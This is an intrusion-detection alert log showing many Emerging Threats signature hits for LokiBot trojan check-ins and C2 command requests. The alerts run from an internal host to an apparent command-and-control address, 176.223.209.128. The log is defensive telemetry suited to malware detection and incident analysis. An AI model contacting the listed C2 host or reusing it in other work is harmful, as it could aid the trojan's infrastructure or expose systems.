11/25/21-10:49:20.231014	TCP	2025381	ET TROJAN LokiBot Checkin	49977	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.231014	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49977	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.695066	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49978	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.695066	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49978	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.695066	TCP	2025381	ET TROJAN LokiBot Checkin	49978	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.695066	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49978	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.204317	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49979	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.204317	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49979	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.204317	TCP	2025381	ET TROJAN LokiBot Checkin	49979	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.204317	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49979	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.725257	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49980	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.725257	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49980	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.725257	TCP	2025381	ET TROJAN LokiBot Checkin	49980	80	192.168.11.20	176.223.209.128
11/25/21-10:49:21.725257	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49980	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.161051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49981	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.161051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49981	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.161051	TCP	2025381	ET TROJAN LokiBot Checkin	49981	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.161051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49981	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.694084	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49982	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.694084	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49982	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.694084	TCP	2025381	ET TROJAN LokiBot Checkin	49982	80	192.168.11.20	176.223.209.128
11/25/21-10:49:22.694084	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49982	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.236990	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49983	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.236990	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49983	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.236990	TCP	2025381	ET TROJAN LokiBot Checkin	49983	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.236990	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49983	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.750984	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49984	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.750984	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49984	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.750984	TCP	2025381	ET TROJAN LokiBot Checkin	49984	80	192.168.11.20	176.223.209.128
11/25/21-10:49:23.750984	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49984	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.261506	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49985	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.261506	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49985	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.261506	TCP	2025381	ET TROJAN LokiBot Checkin	49985	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.261506	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49985	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.765311	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49986	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.765311	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49986	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.765311	TCP	2025381	ET TROJAN LokiBot Checkin	49986	80	192.168.11.20	176.223.209.128
11/25/21-10:49:24.765311	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49986	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.270321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49987	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.270321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49987	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.270321	TCP	2025381	ET TROJAN LokiBot Checkin	49987	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.270321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49987	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.783039	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49988	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.783039	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49988	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.783039	TCP	2025381	ET TROJAN LokiBot Checkin	49988	80	192.168.11.20	176.223.209.128
11/25/21-10:49:25.783039	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49988	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.316918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49989	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.316918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49989	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.316918	TCP	2025381	ET TROJAN LokiBot Checkin	49989	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.316918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49989	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.841395	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49990	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.841395	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49990	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.841395	TCP	2025381	ET TROJAN LokiBot Checkin	49990	80	192.168.11.20	176.223.209.128
11/25/21-10:49:26.841395	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49990	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.357926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49991	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.357926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49991	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.357926	TCP	2025381	ET TROJAN LokiBot Checkin	49991	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.357926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49991	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.861743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49992	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.861743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49992	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.861743	TCP	2025381	ET TROJAN LokiBot Checkin	49992	80	192.168.11.20	176.223.209.128
11/25/21-10:49:27.861743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49992	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.402901	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49993	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.402901	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49993	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.402901	TCP	2025381	ET TROJAN LokiBot Checkin	49993	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.402901	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49993	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.926178	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49994	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.926178	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49994	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.926178	TCP	2025381	ET TROJAN LokiBot Checkin	49994	80	192.168.11.20	176.223.209.128
11/25/21-10:49:28.926178	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49994	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.395169	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49995	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.395169	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49995	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.395169	TCP	2025381	ET TROJAN LokiBot Checkin	49995	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.395169	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49995	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.871513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49996	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.871513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49996	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.871513	TCP	2025381	ET TROJAN LokiBot Checkin	49996	80	192.168.11.20	176.223.209.128
11/25/21-10:49:29.871513	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49996	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.393507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49997	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.393507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49997	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.393507	TCP	2025381	ET TROJAN LokiBot Checkin	49997	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.393507	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49997	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.922836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49998	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.922836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49998	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.922836	TCP	2025381	ET TROJAN LokiBot Checkin	49998	80	192.168.11.20	176.223.209.128
11/25/21-10:49:30.922836	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49998	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.432081	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49999	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.432081	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49999	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.432081	TCP	2025381	ET TROJAN LokiBot Checkin	49999	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.432081	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49999	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.950901	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50000	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.950901	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50000	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.950901	TCP	2025381	ET TROJAN LokiBot Checkin	50000	80	192.168.11.20	176.223.209.128
11/25/21-10:49:31.950901	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50000	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.411503	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50001	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.411503	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50001	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.411503	TCP	2025381	ET TROJAN LokiBot Checkin	50001	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.411503	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50001	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.838212	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50002	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.838212	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50002	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.838212	TCP	2025381	ET TROJAN LokiBot Checkin	50002	80	192.168.11.20	176.223.209.128
11/25/21-10:49:32.838212	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50002	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.371009	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50003	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.371009	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50003	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.371009	TCP	2025381	ET TROJAN LokiBot Checkin	50003	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.371009	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50003	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.891069	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50004	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.891069	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50004	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.891069	TCP	2025381	ET TROJAN LokiBot Checkin	50004	80	192.168.11.20	176.223.209.128
11/25/21-10:49:33.891069	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50004	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.420369	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50005	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.420369	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50005	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.420369	TCP	2025381	ET TROJAN LokiBot Checkin	50005	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.420369	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50005	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.921609	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50006	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.921609	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50006	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.921609	TCP	2025381	ET TROJAN LokiBot Checkin	50006	80	192.168.11.20	176.223.209.128
11/25/21-10:49:34.921609	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50006	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.381645	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50007	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.381645	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50007	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.381645	TCP	2025381	ET TROJAN LokiBot Checkin	50007	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.381645	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50007	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.899719	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50008	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.899719	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50008	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.899719	TCP	2025381	ET TROJAN LokiBot Checkin	50008	80	192.168.11.20	176.223.209.128
11/25/21-10:49:35.899719	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50008	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.430850	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50009	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.430850	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50009	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.430850	TCP	2025381	ET TROJAN LokiBot Checkin	50009	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.430850	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50009	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.941067	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50010	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.941067	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50010	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.941067	TCP	2025381	ET TROJAN LokiBot Checkin	50010	80	192.168.11.20	176.223.209.128
11/25/21-10:49:36.941067	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50010	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.484066	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50011	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.484066	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50011	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.484066	TCP	2025381	ET TROJAN LokiBot Checkin	50011	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.484066	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50011	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.955485	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50012	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.955485	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50012	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.955485	TCP	2025381	ET TROJAN LokiBot Checkin	50012	80	192.168.11.20	176.223.209.128
11/25/21-10:49:37.955485	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50012	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.463778	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50013	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.463778	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50013	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.463778	TCP	2025381	ET TROJAN LokiBot Checkin	50013	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.463778	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50013	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.976726	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50014	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.976726	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50014	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.976726	TCP	2025381	ET TROJAN LokiBot Checkin	50014	80	192.168.11.20	176.223.209.128
11/25/21-10:49:38.976726	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50014	80	192.168.11.20	176.223.209.128
11/25/21-10:49:39.500286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50015	80	192.168.11.20	176.223.209.128
11/25/21-10:49:39.500286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50015	80	192.168.11.20	176.223.209.128
11/25/21-10:49:39.500286	TCP	2025381	ET TROJAN LokiBot Checkin	50015	80	192.168.11.20	176.223.209.128
11/25/21-10:49:39.500286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50015	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.035714	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50016	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.035714	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50016	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.035714	TCP	2025381	ET TROJAN LokiBot Checkin	50016	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.035714	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50016	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.546893	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50017	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.546893	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50017	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.546893	TCP	2025381	ET TROJAN LokiBot Checkin	50017	80	192.168.11.20	176.223.209.128
11/25/21-10:49:40.546893	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50017	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.083152	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50018	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.083152	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50018	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.083152	TCP	2025381	ET TROJAN LokiBot Checkin	50018	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.083152	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50018	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.586027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50019	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.586027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50019	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.586027	TCP	2025381	ET TROJAN LokiBot Checkin	50019	80	192.168.11.20	176.223.209.128
11/25/21-10:49:41.586027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50019	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.108784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50020	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.108784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50020	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.108784	TCP	2025381	ET TROJAN LokiBot Checkin	50020	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.108784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50020	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.628958	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50021	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.628958	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50021	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.628958	TCP	2025381	ET TROJAN LokiBot Checkin	50021	80	192.168.11.20	176.223.209.128
11/25/21-10:49:42.628958	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50021	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.093221	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50022	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.093221	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50022	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.093221	TCP	2025381	ET TROJAN LokiBot Checkin	50022	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.093221	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50022	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.580124	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50023	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.580124	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50023	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.580124	TCP	2025381	ET TROJAN LokiBot Checkin	50023	80	192.168.11.20	176.223.209.128
11/25/21-10:49:43.580124	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50023	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.062925	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50024	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.062925	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50024	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.062925	TCP	2025381	ET TROJAN LokiBot Checkin	50024	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.062925	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50024	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.593789	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50025	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.593789	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50025	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.593789	TCP	2025381	ET TROJAN LokiBot Checkin	50025	80	192.168.11.20	176.223.209.128
11/25/21-10:49:44.593789	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50025	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.081557	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50026	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.081557	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50026	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.081557	TCP	2025381	ET TROJAN LokiBot Checkin	50026	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.081557	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50026	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.567535	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50027	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.567535	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50027	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.567535	TCP	2025381	ET TROJAN LokiBot Checkin	50027	80	192.168.11.20	176.223.209.128
11/25/21-10:49:45.567535	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50027	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.099241	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50029	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.099241	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50029	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.099241	TCP	2025381	ET TROJAN LokiBot Checkin	50029	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.099241	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50029	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.560009	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50030	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.560009	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50030	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.560009	TCP	2025381	ET TROJAN LokiBot Checkin	50030	80	192.168.11.20	176.223.209.128
11/25/21-10:49:46.560009	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50030	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.093239	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50031	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.093239	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50031	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.093239	TCP	2025381	ET TROJAN LokiBot Checkin	50031	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.093239	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50031	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.621286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50032	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.621286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50032	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.621286	TCP	2025381	ET TROJAN LokiBot Checkin	50032	80	192.168.11.20	176.223.209.128
11/25/21-10:49:47.621286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50032	80	192.168.11.20	176.223.209.128
